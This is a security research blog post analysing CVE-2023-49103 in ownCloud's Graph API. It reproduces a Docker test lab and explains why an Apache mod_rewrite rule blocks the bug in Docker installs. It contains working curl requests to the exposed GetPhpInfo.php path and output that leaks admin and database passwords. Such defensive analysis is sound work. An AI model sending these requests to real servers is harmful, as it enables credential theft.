Details and Caveats for ownCloud information disclosure (CVE-2023-49103)
========================================================================
Explore our deep-dive into CVE-2023-49103, a critical vulnerability in ownCloud’s Graph API. We discuss the exploit, its impact on Docker installations, and our comprehensive testing process. Learn about the role of Apache’s mod\_rewrite and the htaccess.RewriteBase rule in mitigating the vulnerability. Ideal for cybersecurity professionals and technologists.
OWNCLOUD
VULNERABILITIES
PODMAN
DOCKER
DISCLOSURE
AUTHOR
Ron Bowes
PUBLISHED
November 29, 2023
**2023-12-01 Update #3**
> Rapid7 [has released full exploit details](https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/), including how to pass the `mod_rewrite` rule. We’ll continue watching for scanners to update their endpoint!
**2023-11-30 Update #2**
> We received an exploit that _does_ work against the Docker version! We updated our tags to detect the new variation and verified that folks scanning the internet are _not_ using this, which means the opportunistic attackers are _not_ able to exploit Docker versions (right now). But it’s only a matter of time, so be sure you’ve patched!
**2023-11-30 Update #1**
> The [original researcher](https://twitter.com/cfreal_/status/1730119170098917561) has indicated that exploiting Docker versions actually _is_ possible, but there’s more to the exploit than we’ve uncovered. They expect to post full details next week, so patch your hosts!
>
> In the meantime, we’re continuing to monitor [exploitation attempts against our sensors](https://viz.greynoise.io/query?gnql=tags%3A%22ownCloud%20Graph%20API%20Information%20Disclosure%22). As far as we can tell, everybody scanning the internet is using the same exploit we tested, which will almost certainly fail against vulnerable hosts.
***
**2023-11-29 Original Post**
**THE INFORMATION BELOW HERE IS NO LONGER CURRENT - SEE THE UPDATES ABOVE**
Earlier this week, we [published a tag](https://viz.greynoise.io/query?gnql=tags%3A%22ownCloud%20Graph%20API%20Information%20Disclosure%22) for [CVE-2023-49103](https://nvd.nist.gov/vuln/detail/CVE-2023-49103) and noticed that attackers were trying to exploit the vulnerability. We [wrote a blog](https://www.greynoise.io/blog/cve-2023-49103-owncloud-critical-vulnerability-quickly-exploited-in-the-wild) discussing it, and [got feedback](https://twitter.com/wdormann/status/1729706748246708725) that Docker installations do not appear to be vulnerable. That posed quite a mystery!
The basic idea of the vulnerability is that a script included by default with ownCloud would run [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) and show the results to the user:
* `/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php` or
* `/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php`
The `phpinfo()` function prints out a bunch of system information, including environmental variables. Since ownCloud’s [Docker installation](https://doc.owncloud.com/server/next/admin_manual/installation/docker/#docker-compose), like many (most?) Docker installations, passes credentials in the environment, exposing the environment would also expose credentials (including the default admin password, the MySQL password, and others).
Test environment[](https://www.labs.greynoise.io/grimoire/2023-11-29-owncloud-redux/?_ga=2.149353584.715456137.1701656609-1132755197.1701656609#test-environment)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
To test this issue, we set up a docker environment with the following `docker-compose.yml` file:
version: "3"
services:
owncloud:
image: owncloud/server:${OWNCLOUD_VERSION}
container_name: owncloud_server
restart: always
ports:
- ${HTTP_PORT}:8080
depends_on:
- mariadb
- redis
environment:
- OWNCLOUD_DOMAIN=${OWNCLOUD_DOMAIN}
- OWNCLOUD_TRUSTED_DOMAINS=${OWNCLOUD_TRUSTED_DOMAINS}
- OWNCLOUD_DB_TYPE=mysql
- OWNCLOUD_DB_NAME=owncloud
- OWNCLOUD_DB_USERNAME=owncloud
- OWNCLOUD_DB_PASSWORD=owncloud
- OWNCLOUD_DB_HOST=mariadb
- OWNCLOUD_ADMIN_USERNAME=${ADMIN_USERNAME}
- OWNCLOUD_ADMIN_PASSWORD=${ADMIN_PASSWORD}
- OWNCLOUD_MYSQL_UTF8MB4=true
- OWNCLOUD_REDIS_ENABLED=true
- OWNCLOUD_REDIS_HOST=redis
- APACHE_LOG_LEVEL=${APACHE_LOG_LEVEL}
healthcheck:
test: ["CMD", "/usr/bin/healthcheck"]
interval: 30s
timeout: 10s
retries: 5
mariadb:
image: mariadb:10.11 # minimum required ownCloud version is 10.9
container_name: owncloud_mariadb
restart: always
environment:
- MYSQL_ROOT_PASSWORD=owncloud
- MYSQL_USER=owncloud
- MYSQL_PASSWORD=owncloud
- MYSQL_DATABASE=owncloud
- MARIADB_AUTO_UPGRADE=1
command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
interval: 10s
timeout: 5s
retries: 5
redis:
image: redis:6
container_name: owncloud_redis
restart: always
command: ["--databases", "1"]
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 5s
retries: 5
And an associated `.env` file:
OWNCLOUD_VERSION=10.10.0
OWNCLOUD_DOMAIN=localhost:8080
OWNCLOUD_TRUSTED_DOMAINS=localhost
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
APACHE_LOG_LEVEL=trace6
HTTP_PORT=8080
In addition to removing persistent volumes and other stuff that doesn’t really matter, we made two important changes to the `docker-compose.yml` file published by ownCloud:
* We added an `APACHE_LOG_LEVEL` variable and cranked it up to `trace6`
* We also set the `OWNCLOUD_VERSION` to `10.10.0`, which is an arbitrary-but-old version we chose for testing
Once that’s done, you can stand up the necessary containers (I use Fedora, which prefers `podman-compose`, but `docker-compose` should work just as well):
$ podman-compose up
podman-compose version: 1.0.6
['podman', '--version', '']
using podman version: 4.7.2
** excluding: set()
['podman', 'ps', '--filter', 'label=io.podman.compose.project=owncloud', '-a', '--format', '{{ index .Labels "io.podman.compose.config-hash"}}']
['podman', 'network', 'exists', 'owncloud_default']
[...]
Once that’s done, we can access the server on localhost port 8080. Easy!
Testing the exploit[](https://www.labs.greynoise.io/grimoire/2023-11-29-owncloud-redux/?_ga=2.149353584.715456137.1701656609-1132755197.1701656609#testing-the-exploit)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
But, as noted online, the exploit doesn’t actually work:
$ curl -i 'http://localhost:8080/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:53:15 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]
We heard rumors that removing `/owncloud` might fix it, but no-go on that, either:
$ curl -i 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:54:04 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]
(It actually appears that both paths are potentially used, depending on how ownCloud is installed/configured)
Logging in also didn’t help. What’s going on?!
Apache and `mod_rewrite`[](https://www.labs.greynoise.io/grimoire/2023-11-29-owncloud-redux/?_ga=2.149353584.715456137.1701656609-1132755197.1701656609#apache-and-mod_rewrite)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
As noted earlier, we boosted Apache’s log levels sky-high by setting `trace6`. That causes a ton of output, but what’s important is:
[...]
[Wed Nov 29 19:55:08.760558 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocs-provider/' => matched
[Wed Nov 29 19:55:08.760564 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocm-provider/' => matched
[Wed Nov 29 19:55:08.760571 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!^/.well-known/(acme-challenge|pki-validation)/.*' => matched
[Wed Nov 29 19:55:08.760578 2023] [rewrite:trace2] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] rewrite 'apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' -> 'index.php'
[Wed Nov 29 19:55:08.760583 2023] [rewrite:trace5] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] setting env variable 'PATH_INFO' to ''
[...]
A `mod_rewrite` rule is redirecting `GetPhpInfo.php` to `index.php`. Hmm! After some looking, we found the `mod_write` rule in the `/var/www/owncloud/.htaccess` file:
$ podman exec -it owncloud_server /bin/bash
root@610b52d2a2bb:/var/www/owncloud# cat .htaccess
[...]
<IfModule pagespeed_module>
ModPagespeed Off
</IfModule>
#### DO NOT CHANGE ANYTHING ABOVE THIS LINE ####
RewriteCond %{REQUEST_FILENAME} !/ocm-provider/
RewriteCond %{REQUEST_URI} !^/.well-known/(acme-challenge|pki-validation)/.*
RewriteRule . index.php [PT,E=PATH_INFO:$1]
[...]
Note the “DO NOT CHANGE” line - we’ll come back to that!
The `RewriteRule` at the end is the problem - it changes every unknown path to `index.php`. That’d do it! If we remove that line and try the payload again, it works:
$ curl -s 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' | grep PASSWORD
<tr><td class="e">OWNCLOUD_MAIL_SMTP_PASSWORD </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_ADMIN_PASSWORD </td><td class="v">admin </td></tr>
<tr><td class="e">OWNCLOUD_DB_PASSWORD </td><td class="v">owncloud </td></tr>
<tr><td class="e">OWNCLOUD_LOST_PASSWORD_LINK </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_REDIS_PASSWORD </td><td class="v"><i>no value</i> </td></tr>
But, where’d that rule come from?
Where’d that rule come from?[](https://www.labs.greynoise.io/grimoire/2023-11-29-owncloud-redux/?_ga=2.149353584.715456137.1701656609-1132755197.1701656609#whered-that-rule-come-from)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
We found the `.htaccess` file [from the source tree](https://github.com/owncloud/core/blob/master/.htaccess), which does _not_ have that line! In fact, the file ends where the “DO NOT CHANGE” line we noted earlier is!
It took a bit of investigating (ie, Googling and downloading Github repos), but eventually we found [documentation on how ownCloud uses rewrites](https://doc.owncloud.com/server/next/admin_manual/appliance/configuration/index.php-less_URLs.html#enable-index-php-less-urls). Based on that, we found [Setup.php](https://github.com/nextcloud/server/blob/e991b23d9d74a7d8af9d7f824a5bbeaf1e629604/lib/private/Setup.php) in the github repository, which configures the server. When the server starts, `Setup;php` [checks a config variable](https://github.com/nextcloud/server/blob/e991b23d9d74a7d8af9d7f824a5bbeaf1e629604/lib/private/Setup.php#L447) called `htaccess.RewriteBase`, which, if set, adds a bunch of rewrite lines (including [the one that breaks the exploit](https://github.com/nextcloud/server/blob/e991b23d9d74a7d8af9d7f824a5bbeaf1e629604/lib/private/Setup.php#L465)) to the `.htaccess` file.
So that’s where it came from!
So basically, the `htaccess.RewriteBase` rule determines whether or not the server is vulnerable.
Conclusion (TL;DR)[](https://www.labs.greynoise.io/grimoire/2023-11-29-owncloud-redux/?_ga=2.149353584.715456137.1701656609-1132755197.1701656609#conclusion-tldr)
------------------------------------------------------------------------------------------------------------------------------------------------------------------
**The conclusion is no longer the best information we have! See the updates above**
So, this exploit relies on an errant call to `phpinfo()` to leak environment variables, which are used to pass sensitive information to the Docker image.
With that in mind, the three situations that can happen are:
* ownCloud is installed in a non-Docker environment with `htaccess.RewriteBase` **unset** \- vulnerable, but likely doesn’t expose sensitive information
* ownCloud is installed in a non-Docker environment with `htaccess.RewriteBase` **set** \- not vulnerable
* ownCloud is installed in Docker, where `htaccess.RewriteBase` always appears to be set - not vulnerable
This isn’t to say that it’s 100% non-exploitable! It’s certainly possible that somebody could modify that Dockerized version to be vulnerable (we certainly did!), and folks may roll their own Docker version that’s vulnerable, and, of course, folks might store valuable stuff in the environment for non-Docker versions. But, overall, useful exploitation of this vulnerability seems unlikely; as a result, we don’t expect we’ll see much interesting exploitation, if any. But attackers are welcome to keep hitting our sensors, and we’ll keep logging it!
暂无评论